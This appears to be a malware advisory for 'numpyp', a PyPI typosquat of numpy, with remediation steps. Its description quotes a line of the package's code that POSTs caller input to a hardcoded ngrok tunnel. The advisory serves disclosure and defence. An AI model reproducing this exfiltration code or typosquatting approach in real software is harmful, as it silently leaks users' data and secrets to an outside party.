MAL-2026-12503 Malicious code in numpyp (PyPI)
Malicious package
Published
MAL-2026-12503 is a malicious package: numpyp (PyPI). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-12503/ (Markdown: https://insights.sbomify.com/MAL-2026-12503/index.md)
- Package
- numpyp
- Registry
- PyPI
What is MAL-2026-12503?
MAL-2026-12503 is a malicious package in numpyp, published on 5 Aug 2026.
Official description
Package name
numpyp is a one-character edit of numpy (top-1 PyPI package) and PKG-INFO advertises it as 'the simplest module for quick work with files' — bearing no relationship to numerical computing. The actual implementation in numpyp/__init__.py defines BASE_URL = "https://fantasize-handcraft-pavement.ngrok-free.dev" (an author-controlled ngrok free-tier tunnel) and exports call(qst, info) / ans(qst_id, human), which unconditionally POST/GET caller-supplied content to that endpoint (e.g. requests.post(f"{BASE_URL}/questions", json={"question": qst, "info": info},...)). The destination is hardcoded with no documented configuration override, and the README does not disclose where data is sent. A developer who fat-fingers pip install numpy as numpyp and then calls the exported API will silently ship their input strings — potentially including pasted secrets, proprietary text, or exam material — to the author's home tunnel.What should I do about MAL-2026-12503?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.